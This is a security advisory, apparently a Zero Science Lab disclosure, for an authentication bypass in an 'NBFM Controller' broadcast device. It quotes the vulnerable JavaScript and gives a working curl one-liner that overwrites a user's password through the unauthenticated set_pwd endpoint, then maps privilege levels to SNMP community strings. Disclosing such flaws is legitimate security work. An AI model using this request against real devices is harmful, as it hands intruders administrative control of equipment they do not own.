Compact and reliable, it features very high quality and modern technology both in signal processing and microwave section leading to outstanding performances. Desc: The device suffers from an authentication bypass vulnerability through a direct and unauthorized access to the password management functionality. The issue allows attackers to bypass authentication by manipulating the set_pwd endpoint that enables them to overwrite the password of any user within the system. This grants unauthorized and administrative access to protected areas of the application compromising the device's system security. -------------------------------------------------------------------------- /modules/pwd.html ------------------ 50: function apply_pwd(level, pwd) 51: { 52: $.get("json_data/set_pwd", {lev:level, pass:pwd}, 53: function(data){ 54: //$.alert({title:'Operation',text:data}); 55: show_message(data); 56: }).fail(function(error){ 57: show_message('Error ' + error.status, 'error'); 58: }); 59: } -------------------------------------------------------------------------- Tested on: NBFM Controller embOS/IP Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2024-5822 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5822.php 18.08.2023 -- $ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234 Ref (lev param): Level 7 = SNMP Write Community (snmp_write_pwd) Level 6 = SNMP Read Community (snmp_read_pwd) Level 5 = Custom Password? hidden.
